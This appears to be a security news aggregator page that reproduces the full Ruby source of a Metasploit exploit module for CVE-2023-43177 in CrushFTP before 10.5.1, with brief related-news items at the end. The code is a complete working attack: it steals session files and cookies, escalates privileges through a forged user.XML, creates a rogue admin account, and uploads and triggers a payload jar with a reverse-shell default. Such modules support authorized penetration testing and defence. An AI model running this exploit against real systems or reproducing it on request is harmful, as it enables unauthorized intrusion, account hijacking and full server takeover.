Security
Headlines
HeadlinesLatestCVEs

Headline

CrushFTP Remote Code Execution

This Metasploit exploit module leverages an improperly controlled modification of dynamically-determined object attributes vulnerability (CVE-2023-43177) to achieve unauthenticated remote code execution. This affects CrushFTP versions prior to 10.5.1. It is possible to set some user’s session properties by sending an HTTP request with specially crafted Header key-value pairs. This enables an unauthenticated attacker to access files anywhere on the server file system and steal the session cookies of valid authenticated users. The attack consists in hijacking a user’s session and escalates privileges to obtain full control of the target. Remote code execution is obtained by abusing the dynamic SQL driver loading and configuration testing feature.

Packet Storm
#sql#vulnerability#web#mac#windows#linux#js#git#java#rce#perl#xpath#auth#zero_day#ssl
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::FileDropper  include Msf::Exploit::Remote::Java::HTTP::ClassLoader  prepend Msf::Exploit::Remote::AutoCheck  class CrushFtpError < StandardError; end  class CrushFtpNoAccessError < CrushFtpError; end  class CrushFtpNotFoundError < CrushFtpError; end  class CrushFtpUnknown < CrushFtpError; end  def initialize(info = {})    super(      update_info(        info,        'Name' => 'CrushFTP Unauthenticated RCE',        'Description' => %q{          This exploit module leverages an Improperly Controlled Modification          of Dynamically-Determined Object Attributes vulnerability          (CVE-2023-43177) to achieve unauthenticated remote code execution.          This affects CrushFTP versions prior to 10.5.1.          It is possible to set some user's session properties by sending an HTTP          request with specially crafted Header key-value pairs. This enables an          unauthenticated attacker to access files anywhere on the server file          system and steal the session cookies of valid authenticated users. The          attack consists in hijacking a user's session and escalates privileges          to obtain full control of the target. Remote code execution is obtained          by abusing the dynamic SQL driver loading and configuration testing          feature.        },        'License' => MSF_LICENSE,        'Author' => [          'Ryan Emmons', # Initial research, discovery and PoC          'Christophe De La Fuente' # Metasploit module        ],        'References' => [          [ 'URL', 'https://convergetp.com/2023/11/16/crushftp-zero-day-cve-2023-43177-discovered/'],          [ 'URL', 'https://github.com/the-emmons/CVE-2023-43177/blob/main/CVE-2023-43177.py'],          [ 'URL', 'https://www.crushftp.com/crush10wiki/Wiki.jsp?page=Update'],          [ 'CVE', '2023-43177'],          [ 'CWE', '913' ]        ],        'Platform' => %w[java unix linux win],        'Privileged' => true,        'Arch' => [ARCH_JAVA, ARCH_X64, ARCH_X86],        'Targets' => [          [            'Java',            {              'Arch' => ARCH_JAVA,              'Platform' => 'java',              # If not set here, Framework will pick this payload anyway and set the default LHOST to the local interface.              # If we set the payload manually to a bind payload (e.g. `java/meterpreter/bind_tcp`) the default LHOST will be              # used and the payload will fail if the target is not local (most likely).              # To avoid this, the default payload is set here, which prevent Framework to set a default LHOST.              'DefaultOptions' => { 'PAYLOAD' => 'java/meterpreter/reverse_tcp' }            }          ],          [            'Linux Dropper',            {              'Arch' => [ ARCH_X64, ARCH_X86 ],              'Platform' => 'linux'            }          ],          [            'Windows Dropper',            {              'Arch' => [ ARCH_X64, ARCH_X86 ],              'Platform' => 'win'            }          ],        ],        'DisclosureDate' => '2023-08-08',        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]        }      )    )    register_options(      [        Opt::RPORT(8080),        OptString.new('TARGETURI', [true, 'The base path of the CrushFTP web interface', '/']),        OptInt.new('SESSION_FILE_DELAY', [true, 'The delay in seconds between attempts to download the session file', 30])      ]    )  end  def send_as2_query_api(headers = {})    rand_username = rand_text_hex(10)    opts = {      'uri' => normalize_uri(target_uri.path, 'WebInterface/function/?command=getUsername'),      'method' => 'POST',      'headers' => {        'as2-to' => rand_text_hex(8),        # Each key-value pair will be added into the current session’s        # `user_info` Properties, which is used by CrushFTP to store information        # about a user's session. Here, we set a few properties needed for the        # exploit to work.        'user_ip' => '127.0.0.1',        'dont_log' => 'true',        # The `user_name` property will be be included in the response to a        # `getUsername` API query. This will be used to make sure the operation        # worked and the other key-value pairs were added to the session's        # `user_info` Properties.        'user_name' => rand_username      }.merge(headers)    }    # This only works with anonymous sessions, so `#get_anon_session` should be    # called before to make sure the cookie_jar is set with an anonymous    # session cookie.    res = send_request_cgi(opts)    raise CrushFtpNoAccessError, '[send_as2_query_api] Could not connect to the web server - no response' if res.nil?    xml_response = res.get_xml_document    if xml_response.xpath('//loginResult/response').text != 'success'      raise CrushFtpUnknown, '[send_as2_query_api] The API returned a non-successful response'    end    # Checking the forged username returned in the response    unless xml_response.xpath('//loginResult/username').text == rand_username      raise CrushFtpUnknown, '[send_as2_query_api] username not found in response, the exploit didn\'t work'    end    res  end  def send_query_api(command:, cookie: nil, vars: {}, multipart: false, timeout: 20)    opts = {      'uri' => normalize_uri(target_uri.path, 'WebInterface/function/'),      'method' => 'POST'    }    if multipart      opts['vars_form_data'] = [        {          'name' => 'command',          'data' => command        },      ]      unless cookie.blank?        opts['vars_form_data'] << {          'name' => 'c2f',          'data' => cookie.last(4)        }      end      opts['vars_form_data'] += vars unless vars.empty?    else      opts['vars_post'] = {        'command' => command      }.merge(vars)      opts['vars_post']['c2f'] = cookie.last(4) unless cookie.blank?    end    opts['cookie'] = "CrushAuth=#{cookie}; currentAuth=#{cookie.last(4)}" unless cookie.nil?    res = send_request_cgi(opts, timeout)    raise CrushFtpNoAccessError, '[send_query_api] Could not connect to the web server - no response' if res.nil?    res  end  def get_anon_session    vprint_status('Getting a new anonymous session')    cookie_jar.clear    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'WebInterface'),      'method' => 'GET',      'keep_cookies' => true    )    raise CrushFtpNoAccessError, '[get_anon_session] Could not connect to the web server - no response' if res.nil?    match = res.get_cookies.match(/CrushAuth=(?<cookie>\d{13}_[A-Za-z0-9]{30})/)    raise CrushFtpNotFoundError, '[get_anon_session] Could not get the `currentAuth` cookie' unless match    vprint_status("Anonymous session cookie: #{match[:cookie]}")    match[:cookie]  end  def check    vprint_status('Checking CrushFTP Server')    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'WebInterface', 'login.html'),      'method' => 'GET'    )    return CheckCode::Unknown('Could not connect to the web server - no response') if res.nil?    return CheckCode::Safe('The web server is not running CrushFTP') unless res.body =~ /crushftp/i    cookie = get_anon_session    vprint_status('Checking if the attack primitive works')    # This will raise an exception in case of error    send_as2_query_api    do_logout(cookie)    CheckCode::Appears  rescue CrushFtpError => e    CheckCode::Unknown("#{e.class} - #{e.message}")  end  def rand_dir    @rand_dir ||= "WebInterface/Resources/libs/jq-3.6.0_#{rand_text_hex(10)}-js/"  end  def get_session_file    # Setting this here to be reachable by the ensure block    cookie = nil    begin      cookie = get_anon_session    rescue CrushFtpError => e      print_bad("[get_session_file] Unable to get an anonymous session: #{e.class} - #{e.message}")      return nil    end    vprint_status("Getting session file at `#{rand_dir}`")    headers = {      'filename' => '/',      'user_protocol_proxy' => rand_text_hex(8),      'user_log_file' => 'sessions.obj',      'user_log_path' => './',      'user_log_path_custom' => File.join('.', rand_dir)    }    send_as2_query_api(headers)    formatted_dir = File.join('.', rand_dir.delete_suffix('/'))    register_dirs_for_cleanup(formatted_dir) unless @dropped_dirs.include?(formatted_dir)    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, rand_dir, 'sessions.obj'),      'method' => 'GET'    )    unless res&.code == 200      print_bad('[get_session_file] Could not connect to the web server - no response') if res.nil?      print_bad('[get_session_file] Could not steal the session file')      return nil    end    print_good('Session file downloaded')    tmp_hash = Rex::Text.md5(res.body)    if @session_file_hash == tmp_hash      vprint_status('Session file has not changed yet, skipping')      return nil    end    @session_file_hash = tmp_hash    res.body  rescue CrushFtpError => e    print_bad("[get_session_file] Unknown failure:#{e.class} - #{e.message}")    return nil  ensure    do_logout(cookie) if cookie  end  def check_sessions(session_file)    valid_sessions = []    session_cookies = session_file.scan(/\d{13}_[A-Za-z0-9]{30}/).uniq    vprint_status("Found #{session_cookies.size} session cookies in the session file")    session_cookies.each do |cookie|      res = send_query_api(command: 'getUsername', cookie: cookie)      username = res.get_xml_document.xpath('//loginResult/username').text      if username == 'anonymous'        vprint_status("Cookie `#{cookie}` is an anonymous session")      elsif username.empty?        vprint_status("Cookie `#{cookie}` is not valid")      else        vprint_status("Cookie `#{cookie}` is valid session (username: #{username})")        valid_sessions << { cookie: cookie, username: username }      end    rescue CrushFtpError => e      print_bad("[check_sessions] Error while checking cookie `#{cookie}`: #{e.class} - #{e.message}")    end    valid_sessions  end  def check_admin_and_windows(cookie)    res = send_query_api(command: 'getDashboardItems', cookie: cookie)    is_windows = res.get_xml_document.xpath('//result/response_data/result_value/machine_is_windows').text    return nil if is_windows.blank?    return true if is_windows == 'true'    false  rescue CrushFtpError    vprint_status("[check_admin_and_get_os_family] Cookie #{cookie} doesn't have access to the `getDashboardItems` API, it is not an admin session")    nil  end  def get_writable_dir(path, cookie)    res = send_query_api(command: 'getXMLListing', cookie: cookie, vars: { 'path' => path, 'random' => "0.#{rand_text_numeric(17)}" })    xml_doc = res.get_xml_document    current_path = xml_doc.xpath('//listingInfo/path').text    if xml_doc.xpath('//listingInfo/privs').text.include?('(write)')      return current_path    end    res.get_xml_document.xpath('//listingInfo/listing/listing_subitem').each do |subitem|      if subitem.at('type').text == 'DIR'        dir = get_writable_dir(File.join(current_path, subitem.at('href_path').text), cookie)        return dir unless dir.nil?      end    end    nil  rescue CrushFtpError => e    print_bad("[get_writable_dir] Unknown failure: #{e.class} - #{e.message}")    nil  end  def upload_file(file_path, file_content, id, cookie)    file_size = file_content.size    vars = [      { 'name' => 'upload_path', 'data' => file_path },      { 'name' => 'upload_size', 'data' => file_size },      { 'name' => 'upload_id', 'data' => id },      { 'name' => 'start_resume_loc', 'data' => '0' }    ]    res = send_query_api(command: 'openFile', cookie: cookie, vars: vars, multipart: true)    response_msg = res.get_xml_document.xpath('//commandResult/response').text    if response_msg != id      raise CrushFtpUnknown, "Unable to upload #{file_path}: #{response_msg}"    end    form_data = Rex::MIME::Message.new    form_data.add_part(file_content, 'application/octet-stream', 'binary', "form-data; name=\"CFCD\"; filename=\"#{file_path}\"")    post_data = form_data.to_s    post_data.sub!("Content-Transfer-Encoding: binary\r\n", '')    send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'U', "#{id}~1~#{file_size}"),      'method' => 'POST',      'cookie' => "CrushAuth=#{cookie}; currentAuth=#{cookie.last(4)}",      'ctype' => "multipart/form-data; boundary=#{form_data.bound}",      'data' => post_data    )    vars = [      { 'name' => 'upload_id', 'data' => id },      { 'name' => 'total_chunks', 'data' => '1' },      { 'name' => 'total_bytes', 'data' => file_size },      { 'name' => 'filePath', 'data' => file_path },      { 'name' => 'lastModified', 'data' => DateTime.now.strftime('%Q') },      { 'name' => 'start_resume_loc', 'data' => '0' }    ]    send_query_api(command: 'closeFile', cookie: cookie, vars: vars, multipart: true)  end  def check_egg(session_file, egg)    path = session_file.match(%r{FILE://.*?#{egg}})    return nil unless path    path = path[0]    vprint_status("Found the egg at #{path} in the session file")    if (match = path.match(%r{^FILE://(?<path>[A-Z]:.*)#{egg}}))      print_good("Found path `#{match[:path]}` and it is Windows")    elsif (match = path.match(%r{^FILE:/(?<path>.*)#{egg}}))      print_good("Found path `#{match[:path]}` and it is Unix-like")    end    match[:path]  end  def move_user_xml(admin_username, writable_dir)    headers = {      'filename' => '/',      'user_protocol_proxy' => rand_text_hex(8),      'user_log_file' => 'user.XML',      'user_log_path' => "./../../../../../../../../../../../../../../..#{writable_dir}",      'user_log_path_custom' => "./users/MainUsers/#{admin_username}/"    }    send_as2_query_api(headers)  end  def do_priv_esc_and_check_windows(session)    vprint_status('Looking for a directory with write permissions')    writable_dir = get_writable_dir('/', session[:cookie])    if writable_dir.nil?      print_bad('[do_priv_esc_and_check_windows] The user has no upload permissions, privilege escalation is not possible')      return nil    end    print_good("Found a writable directory: #{writable_dir}")    egg_rand = rand_text_hex(10)    print_status("Uploading the egg file `#{egg_rand}`")    egg_path = File.join(writable_dir, egg_rand)    begin      upload_file(egg_path, rand_text_hex(3..6), egg_rand, session[:cookie])    rescue CrushFtpError => e      print_bad("[do_priv_esc_and_check_windows] Unable to upload the egg file: #{e.class} - #{e.message}")      return nil    end    admin_password = rand_text_hex(10)    user_xml = <<~XML.gsub!(/\n */, '')      <?xml version='1.0' encoding='UTF-8'?>      <user type='properties'>        <username>#{session[:username]}</username>        <password>MD5:#{Rex::Text.md5(admin_password)}</password>        <extra_vfs type='vector'></extra_vfs>        <version>1.0</version>        <userVersion>6</userVersion>        <created_by_username>crushadmin</created_by_username>        <created_by_email></created_by_email>        <created_time>#{DateTime.now.strftime('%Q')}</created_time>        <filePublicEncryptionKey></filePublicEncryptionKey>        <fileDecryptionKey></fileDecryptionKey>        <max_logins>0</max_logins>        <root_dir>/</root_dir>        <site>(SITE_PASS)(SITE_DOT)(SITE_EMAILPASSWORD)(CONNECT)</site>        <password_history></password_history>      </user>    XML    xml_path = File.join(writable_dir, 'user.XML')    print_status("Uploading `user.XML` to #{xml_path}")    begin      upload_file(xml_path, user_xml, rand_text_hex(10), session[:cookie])    rescue CrushFtpError => e      print_bad("[do_priv_esc_and_check_windows] Unable to upload `user.XML`: #{e.class} - #{e.message}")      return nil    end    path = nil    loop do      print_status('Looking for the egg in the session file')      session_file = get_session_file      if session_file        path = check_egg(session_file, egg_rand)        break if path      end      print_status("Egg not found, wait #{datastore['SESSION_FILE_DELAY']} seconds and try again... (Ctrl-C to exit)")      sleep datastore['SESSION_FILE_DELAY']    end    print_good("Found the file system path: #{path}")    register_files_for_cleanup(File.join(path, egg_rand))    cookie = nil    begin      cookie = get_anon_session    rescue CrushFtpError => e      print_bad("[do_priv_esc_and_check_windows] Unable to get an anonymous session: #{e.class} - #{e.message}")      return nil    end    admin_username = rand_text_hex(10)    vprint_status("The forged user will be `#{admin_username}`")    vprint_status("Moving user.XML from #{path} to `#{admin_username}` home folder and elevate privileges")    is_windows = path.match(/^[A-Z]:(?<path>.*)/)    move_user_xml(admin_username, is_windows ? Regexp.last_match(:path) : path)    do_logout(cookie)    # `cookie` is explicitly set to `nil` here to make sure the ensure block    # won't log it out again if the next call to `do_login` raises an    # exception. Without this line, if `do_login` raises an exception, `cookie`    # will still contain the value of the previous session cookie, which should    # have been logged out at this point. The ensure block will try to logout    # the same session again.    cookie = nil    print_status('Logging into the elevated account')    cookie = do_login(admin_username, admin_password)    fail_with(Failure::NoAccess, 'Unable to login with the elevated account') unless cookie    print_good('Logged in! Now let\'s create a temporary admin account')    [create_admin_account(cookie, is_windows), is_windows]  ensure    do_logout(cookie) if cookie  end  def create_admin_account(cookie, is_windows)    # This creates an administrator account with the required VFS setting for the exploit to work    admin_username = rand_text_hex(10)    admin_password = rand_text_hex(10)    user_xml = <<~XML.gsub!(/\n */, '')      <?xml version='1.0' encoding='UTF-8'?>      <user type='properties'>        <username>#{admin_username}</username>        <password>#{admin_password}</password>        <extra_vfs type='vector'></extra_vfs>        <version>1.0</version>        <userVersion>6</userVersion>        <created_by_username>crushadmin</created_by_username>        <created_by_email></created_by_email>        <created_time>#{DateTime.now.strftime('%Q')}</created_time>        <filePublicEncryptionKey></filePublicEncryptionKey>        <fileDecryptionKey></fileDecryptionKey>        <max_logins>0</max_logins>        <root_dir>/</root_dir>        <site>(SITE_PASS)(SITE_DOT)(SITE_EMAILPASSWORD)(CONNECT)</site>        <password_history></password_history>      </user>    XML    url = is_windows ? 'FILE://C:/Users/Public/' : 'FILE://var/tmp/'    vfs_xml = <<~XML.gsub!(/\n */, '')      <?xml version='1.0' encoding='UTF-8'?>      <vfs_items type='vector'>        <vfs_items_subitem type='properties'>          <name>tmp</name>          <path>/</path>          <vfs_item type='vector'>            <vfs_item_subitem type='properties'>              <type>DIR</type>              <url>#{url}</url>            </vfs_item_subitem>          </vfs_item>        </vfs_items_subitem>      </vfs_items>    XML    perms_xml = <<~XML.gsub!(/\n */, '')      <?xml version='1.0' encoding='UTF-8'?>      <VFS type='properties'>        <item name='/'>          (read)(view)(resume)        </item>        <item name='/TMP/'>          (read)(write)(view)(delete)(deletedir)(makedir)(rename)(resume)(share)(slideshow)        </item>      </VFS>    XML    vars_post = {      'data_action' => 'new',      'serverGroup' => 'MainUsers',      'username' => admin_username,      'user' => user_xml,      'xmlItem' => 'user',      'vfs_items' => vfs_xml,      'permissions' => perms_xml    }    res = send_query_api(command: 'setUserItem', cookie: cookie, vars: vars_post)    return nil if res.body.include?('Access Denied') || res.code == 404    { username: admin_username, password: admin_password }  rescue CrushFtpError => e    print_bad("[create_admin_account] Unknown failure: #{e.class} - #{e.message}")    nil  end  def do_login(username, password)    vprint_status("[do_login] Logging in with username `#{username}` and password `#{password}`")    vars = {      'username' => username,      'password' => password,      'encoded' => 'true',      'language' => 'en',      'random' => "0.#{rand_text_numeric(17)}"    }    res = send_query_api(command: 'login', cookie: '', vars: vars)    unless res.code == 200 && res.get_xml_document.xpath('//loginResult/response').text.include?('success')      print_bad('[do_login] Login failed')      return nil    end    match = res.get_cookies.match(/CrushAuth=(?<cookie>\d{13}_[A-Za-z0-9]{30})/)    unless match      print_bad('[do_login] Cannot find session cookie in response')      return nil    end    match[:cookie]  end  def do_logout(cookie)    vprint_status("Logging out session cookie `#{cookie}`")    vars = {      'random' => "0.#{rand_text_numeric(17)}"    }    res = send_query_api(command: 'logout', cookie: cookie, vars: vars)    unless res.code == 200 && res.get_xml_document.xpath('//commandResult/response').text.include?('Logged out')      vprint_bad('[do_logout] Unable to logout')    end  rescue CrushFtpError => e    vprint_bad("[do_logout] An error occured when trying to logout: #{e.class} - #{e.message}")  end  def do_rce(cookie, is_windows)    jar_file = payload.encoded_jar({ arch: payload.arch.first })    jar_file.add_file("#{class_name}.class", constructor_class)    jar_filename = "#{rand_text_hex(4)}.jar"    jar_path = is_windows ? "C:/Users/Public/#{jar_filename}" : "/var/tmp/#{jar_filename}"    print_status("Uploading payload .jar file `#{jar_filename}` to #{jar_path}")    begin      upload_file(jar_filename, jar_file.pack, class_name, cookie)    rescue CrushFtpError => e      raise CrushFtpUnknown, "[do_rce] Unable to upload the payload .jar file: #{e.class} - #{e.message}"    end    print_status('Triggering the payload')    vars = {      'db_driver_file' => jar_path,      'db_driver' => class_name,      'db_url' => 'jdbc:derby:./hax;create=true',      'db_user' => rand_text(3..5),      'db_pass' => rand_text(10..15)    }    begin      send_query_api(command: 'testDB', cookie: cookie, vars: vars, timeout: 0)    rescue CrushFtpNoAccessError      # Expecting no response    end    register_files_for_cleanup(jar_path)  end  def delete_user(username, cookie)    vars = {      'data_action' => 'delete',      'serverGroup' => 'MainUsers',      'usernames' => username,      'user' => '<?xml version="1.0" encoding="UTF-8"?>',      'xmlItem' => 'user',      'vfs_items' => '<?xml version="1.0" encoding="UTF-8"?><vfs type="vector"></vfs>',      'permissions' => '<?xml version="1.0" encoding="UTF-8"?><permissions type="vector"></permissions>'    }    send_query_api(command: 'setUserItem', cookie: cookie, vars: vars)  end  def exploit    admin_creds = nil    is_windows = nil    loop do      print_status('Downloading the session file')      session_file = get_session_file      unless session_file        print_status("No session file, wait #{datastore['SESSION_FILE_DELAY']} seconds and try again... (Ctrl-C to exit)")        sleep datastore['SESSION_FILE_DELAY']        next      end      print_status('Looking for the valid sessions')      session_list = check_sessions(session_file)      if session_list.empty?        print_status("No valid sessions found, wait #{datastore['SESSION_FILE_DELAY']} seconds and try again... (Ctrl-C to exit)")        sleep datastore['SESSION_FILE_DELAY']        next      end      # First, check if we have active admin sessions to go ahead and directly go the RCE part.      session_list.each do |session|        print_status("Checking if user #{session[:username]} is an admin (cookie: #{session[:cookie]})")        # This will return nil if it is not an admin session        is_windows = check_admin_and_windows(session[:cookie])        next if is_windows.nil?        print_good('It is an admin! Let\'s create a temporary admin account')        admin_creds = create_admin_account(session[:cookie], is_windows)        break      end      # If the previous step failed, try to escalate privileges with the remaining active sessions, if any.      if admin_creds.nil?        print_status('Could not find any admin session or the admin account creation failed')        session_list.each do |session|          print_status("Attempting privilege escalation with session cookie #{session}")          admin_creds, is_windows = do_priv_esc_and_check_windows(session)          break unless admin_creds.nil?        end      end      break unless admin_creds.nil?      print_status(        "Creation of an admin account failed with the current active sessions, wait #{datastore['SESSION_FILE_DELAY']}"\        'seconds and try again... (Ctrl-C to exit)'      )      sleep datastore['SESSION_FILE_DELAY']    end    print_good("Administrator account created: username=#{admin_creds[:username]}, password=#{admin_creds[:password]}")    cookie = do_login(admin_creds[:username], admin_creds[:password])    fail_with(Failure::NoAccess, 'Unable to login with the new administrator credentials') unless cookie    do_rce(cookie, is_windows)    print_status('Cleanup the temporary admin account')    delete_user(admin_creds[:username], cookie)  rescue CrushFtpError => e    fail_with(Failure::Unknown, "Unknown failure: #{e.class} - #{e.message}")  ensure    do_logout(cookie) if cookie  endend

Related news

Warning: 3 Critical Vulnerabilities Expose ownCloud Users to Data Breaches

The maintainers of the open-source file-sharing software ownCloud have warned of three critical security flaws that could be exploited to disclose sensitive information and modify files. A brief description of the vulnerabilities is as follows - Disclosure of sensitive credentials and configuration in containerized deployments impacting graphapi versions from 0.2.0 to 0.3.0. (CVSS score: 10.0)

CVE-2023-43177: CVE-Disclosures/Pending/CrushFTP-2023-1.md at main · the-emmons/CVE-Disclosures

CrushFTP prior to 10.5.1 is vulnerable to Improperly Controlled Modification of Dynamically-Determined Object Attributes.

Packet Storm: Latest News

ABB Cylon Aspect 3.07.02 user.properties Default Credentials